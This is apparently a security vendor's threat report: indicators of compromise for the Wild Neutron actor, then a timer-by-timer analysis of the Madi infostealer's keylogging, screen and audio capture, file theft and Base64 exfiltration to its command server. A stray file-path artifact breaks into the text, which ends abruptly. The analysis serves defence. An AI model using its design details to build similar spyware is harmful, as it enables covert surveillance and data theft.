Win32.Generic Read more about how Kaspersky Lab products can help to protect you from Wild Neutron threat actor here: Wild Neutron in the wild: perhaps youre his next prey Indicators of Compromise (IOCs) Known malicious hostnames and domains: https://business.kaspersky.com/wildneutron-in-the-wild-perhaps-youre-his-next-prey/4169 ddosprotected.eu updatesoft.eu app.cloudprotect.eu fw.ddosprotected.eu logs.cloudprotect.eu ssl.cloudprotect.eu ssl.updatesoft.eu adb.strangled.net digitalinsight-ltd.com ads.digitalinsight-ltd.com cache.cloudbox-storage.com cloudbox-storage.com clust12-akmai.net corp-aapl.com fb.clust12-akmai.net fbcbn.net img.digitalinsight-ltd.com jdk-update.com liveanalytics.org min.liveanalytics.org pop.digitalinsight-ltd.com ww1.jdk-update.com find.a-job.today cryptomag.mediasource.ch Known malicious IPs: 185.10.58.181 46.183.217.132 64.187.225.231 62.113.238.104 66.55.133.89 217.23.6.13 Known file names: APPDATA\Roaming\FlashUtil.exe APPDATA\Roaming\Acer\LiveUpdater.exe APPDATA\Roaming\Realtek\RtlUpd.exe ProgramData\Realtek\RtlUpd.exe APPDATA\Roaming\sqlite3.dll (UPX packed) WINDIR\winsession.dll APPDATA\appdata\local\temp\teamviewer\version9\update.exe SYSTEMROOT\temp\_dbg.tmp SYSTEMROOT\temp\ok.tmp C:\windows\temp\debug.txt C:\windows\syswow64\mshtaex.exe SYSROOT\System32\mshtaex.exe SYSROOT\System32\wdigestEx.dll SYSROOT\System32\dpcore16t.dll SYSROOT\System32\iastor32.exe SYSROOT\System32\mspool.dll SYSROOT\System32\msvcse.exe SYSROOT\System32\mspool.exe C:\Program Files (x86)\LNVSuite\LnrAuth.dll C:\Program Files (x86)\LNVSuite\LnrAuthSvc.dll C:\Program Files (x86)\LNVSuite\LnrUpdt.exe C:\Program Files (x86)\LNVSuite\LnrUpdtP.exe DF39527.tmp Named pipes: \\.\pipe\winsession \\.\pipe\lsassw Events mutexes: Global\LnrRTPDispatchEvents _Winlogon_TCP_Service
The Madi infostealers - a detailed analysis On 17 July, we published a blog about Madi and the ongoing campaign used to infiltrate computer systems throughout the Middle East that has targeted users in Iran, Israel, Afghanistan and other individuals scattered across the globe.
Here is the follow up with a detailed analysis of the infostealer used in the campaign.
Installation The infostealer is installed by one of the various downloaders used in the attacks, which can be separated into two categories: Downloaders using the social engineering techniques described in our first blog post (displaying pictures, movies, documents etc.)
to trick the user Downloaders that simply download and install the infostealer Both types of downloaders copy themselves as UpdateOffice.exe into the Printhood directory, e.g.
: C:Documents and SettingsUSERPrintHoodUpdateOffice.exe where they start executing.
Both the infostealer and downloaders create fake files with random names in their respective folders.
The downloaders also drop some files which assist the malware (see our first blog for details).
Only one file will be used by the infostealer: nam.dll.
This file is created by the downloader in the Templates directory (e.g.
: C:Documents and SettingsUSERTemplatesnam.dll) and contains a BOT prefix/build that will be used by the infostealer when connecting to the command and control server (CC).
In order to download and install the infostealer, the downloaders connect to the CC server to request an HTM page.
Older variants use http://[CC address]/ASLK/khaki/Abi/UUUU.htm, whereas more recent ones use http://[CC address]/ASLK/asgari/mah/UeUeUeUe.htm.
The HTM page is a copy of Google index, with a double BASE64 encoded executable embedded in the page: http://www.securelist.com/en/blog/208193677/The_Madi_Campaign_Part_I The keyword tamamshodfile at the bottom will be explained in the Infostealer analysis section below.
The downloaders simply parse the HTM file, and decode the Base64 payload twice and save the resulting PE file as iexplore.exe in the Templates directory.
Once downloaded, the infostealer is executed.
Infostealer analysis: Iexplore.exe All the versions of the infostealer have an Internet Explorer icon, and were written in Delphi.
The version used in this article, which appears to have been compiled on 10 June 2012, is packed using UPX 3.08.
The file is rather big: 415 KB packed, and 1.14 MB once unpacked.
One peculiarity of the infostealer used in the Madi campaign is the heavy use of Delphi Timers.
There are 52 of them as you can see on the screenshot below: .
Numerous bugs were discovered during the analysis of the infostealer.
Some of them wont be discussed here as we dont want to help the authors improve their malware.
TForm4.FormCreate: Upon execution, the first activity of interest performed by the infostealer happens inside TForm4.FormCreate.
It starts with the setup of a keylogger.
In order to do so, Madi infostealer uses the Windows function SetWindowsHookEx with the WH_KEYBOARD_LL Id_Hook.
Once the keylogger has been installed, the infostealer reads the nam.dll file (dropped by the downloader) to get the BOT prefix and concatenates it with the computer name.
Hereafter this will be referred to as BOTID_TMP.
The final BOTID contains some numbers derived from the C: Volume Serial Number, as we will see later on.
The following timers are then disabled in this specific order: Timer1, Timer16, Timer18, Timer17, Timer20, Timer19, Timer24, Timer8, Timer30, Timer31, Timer33, Timer34, Timer36, Timer37, Timer38, Timer39, Timer40, Timer41, Timer44, Timer45, Timer46, Timer48, Timer49, Timer50.
The malware uses a lot of external files to receive commands, which is another indicator of poor programming skills.
Those files are used to inform the malware about the infection status.
In order to avoid confusion, hereafter, when referring to a file, it is in the malware directory (Templates directory), unless stated otherwise.
The infostealer looks for the following files: fsdiskget.dll: If found, it enables Timer 23 otherwise, disables it.
nrbindek.dll : If found, it enables Timer 28 otherwise, disables it.
specialfile.dll: If found, it deletes it.
filesend.xls: Doesnt actually look for it just tries to delete it.
begirnagir.htp : If NOT found, it disables Timer3 filebind.xls: If found, it enables Timer29 otherwise, disables it.
Next, Timer14 and Timer13 are both disabled.
The Trojan looks for First.dll, which is created the first time the malware is executed.
If already present, the code returns from TForm4.FormCreate.
Otherwise, the following happens.
It creates first.dll with a hardcoded stream of bytes (not a real .dll, like the .dll mentioned above, as we will see later on when we analyze the timers more closely).
Like the downloaders, the infostealer also generates fake files with random names.
Before returning from TForm4.FormCreate, 6 loops will be executed: XLS: 51 fake XLS files with random names (7 characters) are generated using a hardcoded stream of bytes.
EXE: 51 fake EXE files with random names (6 characters) are generated using a hardcoded stream of bytes.
DLL: 201 fake DLL files with random names (9 characters) are generated using a hardcoded stream of bytes.
TXT: 51 fake TXT files with random names (4 characters) are generated using a hardcoded stream of bytes.
XML: 51 fake XML files with random names (8 characters) are generated using a hardcoded stream of bytes.
HTM: 51 fake HTM files with random names (8 characters) are generated using a hardcoded stream of bytes.
Keylogger analysis: As mentioned before, the keylogger setup is done in the TForm4.FormCreate.
It uses SetWindowsHookEx with the WH_KEYBOARD_LL Id_hook to intercept keystrokes.
The hook function is rather rudimentary.
For instance, it uses the GetAsyncKeyState, with the VK_BACK to find out if the victim used backspace.
For each typed key, there is a handler to save which key was typed in the keylogger buffer poki65_pik_log: It comes as no real surprise that the keylogger is very basic and makes no use of any advanced technologies.
The malware uses 52 timers.
Therefore, we will group them by actions, in order to make the overall analysis easier to follow.
Command and control: Protocol We are now going to cover all the timers responsible for contacting the CC server and receiving commands to execute on the infected machine, and all the various handlers used to execute actions according to those orders.
Note: In many routines, Madi creates .bat files in order to ping the CC server to see if it is up or not and saves the result in a special file.
Each file has a different name.
If these files are referenced, we will provide the timer number responsible for its creation.
The server manager looks like this: The GUI was probably rushed, but it serves its purpose.
It can be used to create specific tasks for victims.
See Timer 12 to see how each command is handled by the infostealer.
Timer 1: Check-in Interval: 25 seconds Before receiving commands, the infostealer connects to the CC to a special page.
I call it the check-in routine.
Here is the description: Timer 1 gets the ApplicationName and concatenates it with .pkklm (See Timer 15 description for details on how this file is created).
It tries to open that file, looking for the Reply From string (when the IP responds to a ping).
If its not found, it disables Timer 1 and returns.
If present, the last part of the BOTID is generated using the C: Volume Serial Number.
Basically, the API function GetVolumeInformationW is called to get the Volume Serial Number, which is then concatenated to the BOTID_TMP generated in the TForm4.FormCreate.
Now that the final BOTID has been generated, the final URL that is visited is generated as follows: BOTIDCOMPUTERNAMEVolumeSerialNumber/dastor/file.htm e.g.
: abaanu5MYCOMPUTER- 8712422C6D8704FE/dastor/file.htm The final URL is visited using Internet Explorer (IE) instrumentation.
(
e.g.
: http://CC/abaanu5MYCOMPUTER-8712422C6C7704EF/dastor/file.htm) Once visited, it enables Timer 18, disables Timer 1 and returns.
This is the checking-in process, which can tell the attackers when a victim computer is ready to receive commands.
Once the attackers have decided to send commands to the infected computer, a das.htm will be available in the /dastor/ folder.
Timer 16: Visit commands page Interval: 25 seconds Timer 1 gets the ApplicationName and concatenates it with .pkxm (ping results from Timer 11).
It tries to open that file, looking for the Reply From string (when the IP responds to a ping).
If its not found, it disables Timer 16 and returns.
The Final BOTID is computed (see Timer 1 description) to build the URL that is visited in order to receive commands.
Before visiting that URL, the dast.xls file is deleted (see Timer 17 below).
The URL is visited using IE instrumentation.
Timer 17 is enabled, and Timer 16 disabled.
Timer 17: Save the command page as dast.xls Interval: 20 seconds Note: During the execution of the Madi infostealer, many instances of IE are running.
Timer 17 will go through all the different instances of instrumented IE, looking for pages with dastor in their title.
Once found, the content of the page (without the title) is saved as dast.xls.
If nothing is found, it will go to next IE instance, and repeat the checks until no instances are left.
If nothing is found, a clean-up routine is launched.
At the end of the Timer 17, it looks for - dastor - Windows Internet Explorer and different variants (Internet Explorer) and sends a WM_Close Message using the PostMessageW function in order to close the page.
Among all those captions, it also looks for - 404 - File or directory not found and variants of 404 pages, if the page wasnt found.
Once the clean-up is completed, Timer 17 disables itself and returns.
At this point, we have a local file with the commands to execute on the infected machine.
Timer 12: Command dispatcher This timer is responsible for parsing the command file.
In order to make the description a little easier to follow, here is a sample command file: When executed, Timer 12 is disabled.
The infostealer Trojan then checks if the file dast.xls is present (created by Timer 17, see above).
If its not present, Timer 12 is re-enabled and returns.
The next stage of the process opens dast.xls which searches for commands to execute (see the command file above).
Lots of commands can be sent simultaneously, meaning Timer 12 will not stop parsing when one command is found.
Here is the full logic of the parsing: PIK: If the command file contains the word pik, it checks if the status of Timer 3 is enabled.
(
Timer 3 is a webmail, social network and IM screen capture routine.)
If not enabled, Timer 3 is enabled, and screen monitoring begins.
Command parsing continues.
If the pik command is not found, Timer3 is disabled.
DESK: If the command file contains the word desk, it checks if the status of Timer 13 is enabled.
(
Timer 13 is a screen capture routine.)
If not enabled, Timer 13 is enabled, and screen monitoring begins.
Command parsing continues.
If the desk command is not found, Timer13 is disabled.
SOUND: If the command file contains the word sound, it checks if the status of Timer 14 is enabled.
(
Timer 14 is a sound recording routine.)
If not enabled, Timer 14 is enabled, and sound recording begins.
Command parsing continues.
If the sound command is not found, Timer14 is disabled.
If the command file contains the word newfi, nothing happens.
This is probably a leftover from older code.
UPDATE: If the command file contains the word update, it checks to see if it also contains a version number, which must be different from current version (1.1.6 in the analyzed sample).
If neither of those two conditions are valid, it goes to the next command parsing.
The checking routine is very simplistic and assumes that the version number will be higher, not lower.
It is therefore possible to downgrade the Trojan.
If the required update criteria are met, it will create Update.dll.
(
Update.dll is made from a hardcoded stream of bytes and isnt a valid DLL.)
The Trojan now locates the STARTUP folder where a copy of the UpdateOffice.exe (Trojan downloader) is found, and executes it using ShellExecute.
(
In the first part of the article, we explained how the downloader downloads and installs the infostealer.)
The Trojan downloader is necessary in order for updates to occur.
If the downloader has been deleted for some reason, the update wont be performed.
Once executed, Timer 12 terminates its execution, as the infostealer executable (iexplore.exe) will be overwritten by the Trojan downloader with a newer version and executed.
DELETE: If the command file contains the word delete, it will create delete.dll, using exactly the same stream of bytes that is used in update.dll.
The Trojan now locates the STARTUP folder where a copy of the UpdateOffice.exe downloader is located, and deletes it.
Once deleted, it then proceeds to terminate itself.
At this point, upon the next reboot, the infection isnt restarted.
Note: The infostealer doesnt restart by itself, allowing an automatic update every time the computer reboots.
On the other hand all the other downloader files (non-malicious) are still present in the /printhood/ folder.
The full folder of the infostealer is still present, as is the malware.
BIND: If neither update nor delete are found, Timer 12 checks if the command file contains the word bind and creates nrbindek.dll using exactly the same stream of bytes that is used in update.dll.
Nothing else happens at this point.
However, as we have seen in the Form creation, upon execution, the malware checks whether nrbindek.dll is present.
If it is present, Timer 12 will enable Timer 28.
If bind isnt found, the parsing continues with the next command.
DISKGO: If the command file contains the word diskgo, it will create lbdiskgo.dll, using exactly the same stream of bytes that is used in update.dll.
Parsing continues with next command.
Note: lbdiskgo.dll is checked by Timer 42 and Timer 43.
DISKGET: If the command file contains the word diskget, it will create fskdiskget.dll, using exactly the same stream of bytes that is used in update.dll and enable Timer 23.
Timer 12 then checks whether specialfile.dll is present.
If NOT, it will look for the file extensions included in the command that was received.
The attackers select from a list of 27 extensions that are provided by the CC server, and which can be selected using a Remote Control Tool (see at the beginning of the Timer 12 description to view the extensions listed in the sample command file).
Each file extension is separated by a special marker .. Timer 12 searches for the .
marker.
If its not present, the parsing stops there.
If the marker is present, it saves those extensions to the specialfile.dll and enables Timer 26.
Note: Specialfile.dll is therefore used to tell the malware what file extensions to look for and Timer 26 will handle diskget.
Afterwards, or if specialfile.dll was already present, it will check whether the logfi.dll is present, and stop parsing commands if it is not.
If the file is present, it looks in the command buffer for the word file and exits the commands parsing if not found.
If logfil.dll is present, it will search files on fixed hard drives and remote drives.
The authors poor programming skills are quite noticeable in this part of the code.
It is also interesting to note that it will search for MHTML files, even if that option isnt available in the Server Control tool, and that they made a duplicate entry in the hardcode list of files that need to be to located (htm is present twice).
File types searched: .txt/.jpg/.doc/.pdf/.bmp/.docx/.mdb/.xls/.csv/.html/.avi/ .mp3/.wave/.htm/.rar/.zip/.htm (again?
)/.gif/.7z/.jar/.JPEG/.mp4/.3gp/ .dat/.MPEG/.SWF/.WMV/.xml/.MHTML/ Total of 29 extensions, with one duplicate.
27 extensions are present in the Server Control tool and one that is not (MHTML).
It saves the log file as logfi.dll for each hard drive and creates a backup as logfi.dll.
BMH.
It will overwrite the logs for each iteration of the loop.
It only search files on remote and fixed drives, not on USB/external drives thats for the logging part.
Once the Parsing is complete, Timer 12 re-enables itself and exits.
Monitoring Timer 3: PIK handler Webmail, social network and IM screen capture Interval: 60 seconds.
Timer 3 creates a begirnagir.htp file.
It then checks whether the user has been surfing or using the following applications and takes a screen capture if found: gmail, hotmail, yahoo mail, google, msn messenger, blogger, massenger (?
),
profile,icq, paltalk, yahoo messenger for the web, skype, facebook.
The screen captures are saved as a JPG using the following name convention: mm-dd-yyyy-hhnnss.
The Now and FormateDateTime functions are used.
Timer 13: DESK handler Screen capture Interval: 3 minutes Note: The GUI used to control the bot says 2 minutes, but the code doesnt lie.
Timer 13 takes screen captures every 3 minutes.
They are saved using the following name convention: mm-dd-yyyy-hhnnss.
The Now and FormateDateTime functions are used.
The files are in JPG format.
Timer 14: SOUND handler Recording sound This timer is responsible for starting the audio recording using the mci functions from winmm.dll.
The following commands are used: OPEN NEW TYPE WAVEAUDIO ALIAS mysound, SET mysound TIME FORMAT MS BITSPERSAMPLE 8 CHANNELS 1 SAMPLESPERSEC 8000 BYTESPERSEC 8000 and finally RECORD mysound.
Once the commands are sent, Timer 30 is enabled, and Timer 14 returns.
Timer 30: Started by Timer 14 (sound command handler) Interval: 60 seconds This timer does anything apart from start Timer 31 when it is time to save the recoded audio.
Timer 31: Started by Timer 30 (when it is time to save audio recordings) When sufficient time has passed since the start of audio recording, Timer 31 disables Timer 30, stops the recording by sending the following command: STOP mysound.
To save audio files, it sends the SAVE mysound command.
The files are saved using the following name convention: mm-dd-yyyy-hhnnss.
The Now and FormateDateTime functions are used.
The final file is saved as .wav.
BMH.
Timer 31 is then disabled, and Timer 14 (Sound handler) is re-nabled for the next audio recording.
Timer 32: Set up keylogger Interval: 60 seconds Even though the keylogger setup is performed when the application starts, in the FormCreate routine Timer 32 sets up the keylogger every 60 seconds.
The details of the keylogger have already been described earlier in this document.
Timer 2: Creation of keylogger logs Interval: 10 seconds Timer 2 starts by getting the current user name (GetUserName API Function), and then checks if the poki65.pik file is present.
This file is the current ongoing keylogging file.
If its not present, it looks for solt.html, which indicates whether the keylogger has created its first log yet.
If none of those files are present, it means it is the first time the keylogger has started logging.
The first log file is different from subsequent log files, as it contains more information.
The Madi keylogger files use HTML tags and colors to make them easier to read.
For the first log, it executes cmd.exe /c ipconfig /allcompartments ipconfig.txt It waits 5 seconds and appends the content of ipconfig.txt to the HTML content that is created.
The computer name as well as the current user name is appended to the log, followed by the list of available drives: Floppy Drive, Fixed Drive, Network Drive, CD-Rom Drive and RAM Disk.
Finally, a full list of installed software, including security patches, is appended to the log file, as can be seen on the screenshot below: Once this part is completed, it creates a file called solt.htm containing the word wertik.
It will continue formatting the poki65 log file.
At the very beginning you can see the Content-Language set to fa, which is Persian.
This is how the keylogger logs are generated.
|
71
|
Timer 4: Insert time stamps and tags to display screen captures into keylogger logs.
| 17,905
| 18,145
| 241
|
data/reports_final/0071.txt
|
Timer 4: Insert time stamps and tags to display screen captures into keylogger logs.
Interval: 1 millisecond Timer 4 is responsible for inserting IMG tags inside the keylogger log.
It is also responsible for adding the time stamp taken from the CC server (see Miscellaneous section, Timer 7 and 8).
Timer 6: Backup keylogger log for exfiltration Timer 6 searches for the poki65.pik file - the current log session.
If not found, it returns.
It then looks for the size of the log file.
If it is lower than 15 KB, it will return.
Only log files bigger than 15 KB are exfiltrated.
If the size criteria is met, they are copied using the following name convention: mm-dd- yyyy-hhnnss.
HTM.
Timer 6 then deletes poki65.pik and returns.
Note: A new log will be created by Timer 2 (solt.html tells the keylogger not to list drives, installed software etc.
again).
DATA STEALING Data stealing is handled by several timers.
Each type of stolen data is stored in a special folder in the server.
Files exfiltrated to the CC servers are Base64 encoded.
BIND: Timer 28: Started during Form Creation (related to the BIND command) Note: When the infostealer starts, Timer 28 is enabled if the file nrbindek.dll is present (created by the BIND command).
Timer 28 searches for .exe files on all fixed hard drives.
For each EXE file found that doesnt belong to the Windows, Program Files or Program Files (x86) folders, an entry (full path to EXE file) is added to the file filebind.xls.
Once the hard drives have been scanned, Timer28 returns.
Filebind.xls therefore contains all the executables on the fixed hard drives, except from those in Windows and Program Files.
Timer 29: Started during Form Creation (related to the BIND command) Note: The code of this timer is some of the worst that is used in the infostealer.
The programming, obfuscated with Delphi, is very bad.
Timer 28 generates a list of EXE files that dont belong to the Windows, Program Files or Program Files (x86) folders.
For each entry of that file, Timer 29 will make a backup of the executables.
The .bind extension is appended to their original name.
Many files are used to monitor the exfiltration status of the executables.
However, Timer 29 doesnt actually seem to exfiltrate anything, probably because of bugs.
Timer 9: Check for files ready to be uploaded Interval: 5 seconds Timer 9 is disabled.
If either Timer 19 or Timer 20 is enabled, it means there is already an active exfiltrating task.
Timer 9 is enabled and it returns.
Otherwise, Timer 9 searches for files .KILOP as well as .htm.
BMH files in the malware directory.
KILOP files are Base64 encoded versions of files to exfiltrate.
If no file is found, Timer 9 is enabled and returned.
If files are present, they are ready to be exfiltrated, and Timer 19 is enabled.
Before returning, Timer 9 is enabled.
Timer 19: Check if IE instrumentation has been used to visit the upload page.
Interval: 25 seconds Timer 19 searches for a specific page title: If the page title new title hastam - Microsoft Internet Explorer is found, Timer 19 returns.
OKshodiha - Windows Internet Explorer means a file is ready to be uploaded Timer 20 is enabled and returns.
If none of those captions are found, Timer 19 starts IE_Instrumentation and visits the Sendfilejj.html page, enables Timer 20, then returns.
Timer 20: File upload Timer 20 searches for .KILOP files, computes the BOTID (see Timer 1 for details), and fills the POST parameters.
The S0, S1 and S2 forms present in the Sendfilejj.html are filled and the file is uploaded using IE Instrumentation.
T3, is the BOTIDFolder used for uploading (see below) T2 is the file name T1 is the Base64 encoded content of the file.
To compute T3, the following folder is appended to the BOTID (each victim has a root folder named after the BOTID on the CC).
/Pi/ for .jpg.
BMH - Screen Captures Te/ for .htm.
BMH - Keylogger logs /So/ for .wav.
BMH - Audio Recordings /Fi/ for important.file.
BMH /Fi/CoolDisk/ for .fildik.
BMH (data stolen from removable drives) Files are sent via the Sendfilejj.html page hosted on the CC, which is a wrapper for the sik.php script used to receive exfiltrated data.
Timer 5: Base64 encoder for exfiltrated data Interval: 1 millisecond When triggered, it disables Timer 5, searches for .BMH files (files that will be exfiltrated once Base64 encoded) in the malware folder.
When one file is found, it checks if the file is indeed on the disk and accessible.
It Base64 encodes it and saves it as nameoffile.
BMH.KILOP.
The non encoded version (BMH) is deleted, Timer 5 is re-enabled and it returns.
Files are handled one by one, but the timer interval is very small, therefore its almost instantaneous.
Note: The resulting encoded files are those handled by Timer 20 described above.
The process occurs as follows: Timer 9 enables Timer 19, which enables Timer 20 to upload files generated by Timer 5.
Timer 21: Filesend.xls parser Filesend.xls has a list of files to exfiltrate.
Upon execution, Timer 21 is disabled.
If filesend.xls is present, it is opened and read.
All the files to be exfiltrated are separated by the character as in the example below: C:Documents and SettingsUSER Desktoptoolsstealme.txtC:Documents and SettingsUSER Desktoptoolsstealme2.txt Timer 21 parses each entry, and will check whether the file exists.
If it does, a copy of the file will be made in the malware directory with a .file.
BMH extension.
(
In my example, we have: stealme.txt.file.
BMH.)
Timer 10: Tracking what was uploaded and cleaning IE instrumentation pages When a file has been uploaded using Timer 20, a POST is made to the sik.php file, a page is returned containing the name of the uploaded file, as well as the hardcoded string Save Shode as you can see on the screen capture below: Timer 10 is responsible for keeping track of some of the uploaded files.
Exfiltrated files are added to the rafteha.zip, which lists the files that have already been handled.
The last file path to be handled is saved to the fileomade.xls file.
Timer 15: Check for filesend.xls Timer 15 is disabled upon execution and filesend.xls is sought.
If present, Timer 15 is enabled and it returns.
If not, it checks whether Timer 1 is enabled.
If Timer 1 is enabled, it enables Timer 15 and returns.
If Timer 1 isnt enabled, Timer 15 checks the status of Timer 18.
If it is enabled, Timer 15 re-enables itself and returns.
If filesend.xls isnt present and both Timer 1 and Timer 18 are disabled, it creates a pangtkp.bat file, which contain ping CC_IP C:DOCUME1USERTEMPLA1iexplore.exe.pkklm.
That bat is executed, and both Timer 1 and 5 are enabled before returning.
There are other timers that are in some way or other related to exfiltration and data stealing, but they are all fairly similar.
There is a lot of redundancy in the malware.
Timer 23: List all removable drives on the machine Timer 23 lists all the removable drives on the machine, enables Timer 24, Timer 23 disables itself and returns.
Timer 24: Search and copy files from removable drives Timer 24 receives the list of removable drives computed by Timer 23, and searches all the files on the devices.
Stolen files will be copied to the malware directory with fildik.
BMH extensions, which will later be encoded as fildik.
BMH.KILOP (Base64) and exfiltrated.
The list of processed files are stored inside raftehacool.zip.
Miscellaneous The infostealer contains 52 timers.
Some of them do not perform any important tasks.
The authors decided to ping the CC server and save the results under specific file names.
Those files are checked and parsed in order to find out if the CC is up and if certain actions can be taken.
This is pretty amateurish programming.
Timer 44: simple ping via pangtipo.bat Timer 44 is disabled upon execution.
Timer 44 checks whether Timer 45 is enabled and returns if it is.
(
Timer 44 is enabled prior to returning.)
If Timer 45 is disabled, a pangtipo.bat file is created, which contains ping CC_IP C:DOCUME1USERTEMPLA1iexplore.exe.pkxml.
The bat file is executed, Timer 44 is enabled and Timer 44 returns.
Timer 11: Simple ping from pangtip.bat Timer 11 is disabled upon execution.
If Timer 16 is already enabled, Timer 11 re-enables itself and returns.
If Timer 17 is already enabled, Timer 11 re-enables itself and returns.
If none of the timers are enabled, it creates the pangtip.bat file, which contains ping CC_IP C:DOCUME1USERTEMPLA1iexplore.exe.pkxm and executes it via ShellExecute.
Timer 16 is enabled and returns.
Note: Timers 1, 7, 11, 15, 44 and 48 generate these batch files under different names and the results are saved under different names too.
Timer 7: Was timeip.php visited?
Timer 7 is disabled upon execution.
Timer 7 checks whether the timeip.php page was visited.
If not, it visits the page using IE instrumentation, Timer 7 disables itself and enables Timer 8 (see description below).
It creates the pangip.bat file, which contain ping CC_IP.
Results are saved as iexplore.exe.pkam.
Note: the file name used to save the output of the ping commands is based on the infostealer executable name, which is iexplore.exe.
If the executable is renamed, the log files will have different names.
Timer 8: Parse the results of the timeip.php visit The timeip.php script returns the current time and the IP address of the victim.
The results of the visit (done with IE instrumentation in Timer 7) are saved into a buffer which is used during the keylogger log creation (see Timer 4 description).
Timer 22: Ensure there is a backup copy of UpdateOffice (downloader) Note: The downloader is the only malware that starts after Windows boots.
Its therefore important to ensure various backup copies are made.
Timer 22 checks if UpdateOffice.exe is present in the infostealer directory (templates).
It shouldnt be, as it is only present in the printhood directory.
(
See Downloader description at the beginning of the article.)
Since it is not present, it calls a subroutine to get the path to the Printhood directory (GetSpecialFolderLocation with CSIDL_PRINTHOOD parameter).
While concatenating the UpdateOffice.exe and the Printhood folder, the character is missing, and therefore, the routine is bugged.
The returned string is: C:Documents and SettingsUSERPrintHoodUpdateOffice.exe instead of C:Documents and SettingsUSERPrintHoodUpdateOffice.exe.
It then copies (or at least tries to, as the path is wrong) C:Documents and SettingsUSERPrintHoodUpdateOffice.exe as srAntiq.dll in the Templates folder.
If OfficeUpdate.exe isnt present in the printhood, a copy is made from srAntiq.dll.
It retrieves the path to the Startup Folder using the CSIDL_STARTUP: C:Documents and SettingsUSERStart MenuProgramsStartup.
Timer 22 checks whether OfficeUpdate.exe is present in that folder if not, it will make a copy of srAntiq.dll to the Startup folder and returns from Timer 22.
Timer 25: Check for fsdiskget.dll Timer 25 checks if fsdiskget.dll is present in the malware directory if not, it returns.
If the file is present, it enables Timer 23 (see the Data Stealing section for a description).
Timer 42: lbdiskgo.dll, soltanik.dll and res.exe checking Timer 42 checks whether a flag (set by Timer 34 and cleared by Timer 33) is set to 0 and if lbdiskgo.dll, soltanik.exe and res.exe are present.
If they are, it enables Timer 33 otherwise, it returns.
Timer 43: lbdiskgo.dll / ladine.dll / res.exe checking Timer 43 returns directly if neither lbdiskgo.dll or ladine.dll are present.
If res.exe is present, it enables Timer 44 and Timer 48 otherwise, it returns.
Timer 45: Visit the ReReReRe.htm page Timer 45 deletes pangtipo.bat, reads iexplore.pkxml to make sure the CC replied.
(
Timer 1 and Timer 16 provides some more details on the use of such .bat files.)
Uses FindWindow to check whether IE Instrumentation has been used to visit the special ReReReRe.html page, which contains the following title: rrrr.
It looks for different variants such as rrrr - Windows Internet Explorer or rrrr - Microsoft Internet Explorer.
If one of them is found, it means the page was visited using IE instrumentation.
It disables Timer 45 and returns.
If none of them are found, Timer 45 will visit the URL http://CCIP/ASLK//asgari/mah/ReReReRe.htm, enable Timer 46 (see below), disable Timer 45 and return.
Timer 46: Parse ReReReRe.htm (downloaded by Timer 45) Timer 46 goes through all the different running instances of instrumented IE, looking at the title of each HTM page.
The main interest here is rrrr.
This page is the ReReReRe.htm file downloaded by Timer 45.
Timer 46 looks for a special EOF (End Of File) marker: tamamshodfile.
This marker is used by the infostealer to make sure the htm page was fully downloaded.
Once the page has been confirmed as valid, it looks for the textarea id S1 which holds double Base64 encoded PE Files.
The Base64 encoded data is saved as: ASLASLKK223.dll.
Timer 47: Double decoding of Base64 encoded payload from ReReReRe.htm Note: Timer 46 saves the payload as ASLASLKK223.dll.
Since the payload file is double encoded, the decoding is performed in two steps: ASLASLKK223.dll is decoded to ASLASLKK224.dll to get a single encoded Base64 file.
ASLASLKK224.dll is decoded to res.exe : Final PE file.
Res.exe is a copy of the Resource Hacker utility.
ASLASLKK224.dll is deleted.
The use of Res.exe is described in the analysis of Timer 39 below.
Once Timer 47 has finished enumerating all the IE instances, it will call a cleaning routine.
It searches for - rrrr - Windows Internet Explorer and different variants described in Timer 45 and sends a WM_Close Message to IE Windows in order to close them.
Among all those captions, it also searches for - 404 - File or directory not found.
and variants of 404 pages.
Once the cleaning is completed, Timer 47 disables itself and returns.
Timer 49: Visit the SeSeSeSe.htm page Timer 49 is almost identical to Timer 45.
The only difference is the page visited: SeSeSeSe.htm instead of ReReReRe.htm See the Timer 45 description for details.
Timer 50: Parse SeSeSeSe.htm (downloaded by Timer 49) Timer 50 is almost identical to Timer 46.
The only difference is the page parsed: SeSeSeSe.htm instead of ReReReRe.htm and local file names.
The double encoded payload is saved as ASLASLKK2231.dll.
See the Timer 46 description for details.
Timer 51: Double decoding of Base64 encoded payload from SeSeSeSe.htm Note: Timer 50 saves the payload as ASLASLKK2231.dll.
Since the payload file is double encoded, the decoding is performed in two steps: ASLASLKK2231.dll is decoded to ASLASLKK2241.dll to get a single encoded Base64 file.
ASLASLKK2241.dll is decoded to Ladine.dll: final PE file.
Note: At the time of writing, the SeSeSeSe.htm page had been removed from the CC server.
A CC server used by older variants of the infostealer is still available and the old page name was SSSS.htm.
The embedded file is a template of a downloader executable (see Timers 35, 36, 37, 38 and 39 for further information).
Once Timer 51 has finished enumerating all the IE instances, it will call a cleaning routine.
It searches for - ssss - Windows Internet Explorer and different variants described in Timer 45, and sends a WM_Close Message to IE Windows in order to close them.
Among all those captions, it also searches for - 404 - File or directory not found.
and variants of 404 pages.
Once the cleaning is completed, Timer 51 disables itself and returns.
BETA/NON-WORKING FEATURES: New executable generation There are a few timers in the infostealer that are related to a missing file.
I managed to find a copy of the missing file from an older command and control server, in order to understand the intentions of the authors.
The missing file is downloaded by Timer 50: SeSeSeSe.htm.
Its not present on the current CC servers.
If we were to replace the SeSeSeSe.htm with an old copy (originally SSSS.htm), Timer 51 would produce a file called Ladine.dll, which is a template executable of the Trojan downloader used to install the infostealer.
Timer 52: Copy Ladine.dll to Soltanik.exe Timer 52 makes a copy of Ladine.dll under the name soltanik.exe, which is the template file.
Timer 35: Clean files from Timer 39 Timer 35 is disabled.
A special BOTID is created by concatenating CoolDiskGo( with BOTID_TMP), e.g.
: CoolDiskGo(MYCOMPUTER-8712422C6C7704EF) Timer 35 puts the CC IP address in a global variable that will be used by Timer 38.
Timer 35 tries to delete the following several files created by Timer 39: 1.txt, res.ini, res.log, Icon_1.ico,output.rc and server.exe.
It does several other things which are not relevant to what I describe here, so Ive omitted any reference to those actions.
Timer 36 is enabled before returning.
Timer 36: Enable Timer 37 if 1.txt isnt found - logic/code bug Timer 36 is disabled upon execution.
If 1.txt isnt present, Timer 37 is enabled.
Otherwise, it calls a Base64 decoding function.
1.txt must be a valid Base64 encoded stream of bytes otherwise, an exception occurs and Timer 36 returns.
Timer 37: Update resource for the template downloader: Soltanik.exe Timer 37 is disabled upon execution.
A structure exception handler is installed before reading 1.txt.
In the event of an exception the SEH handler will enable Timers 42, 34, 33, 35, and Timer 37 will return.
Timer 37 expects 1.txt to be present and here is the logic bug.
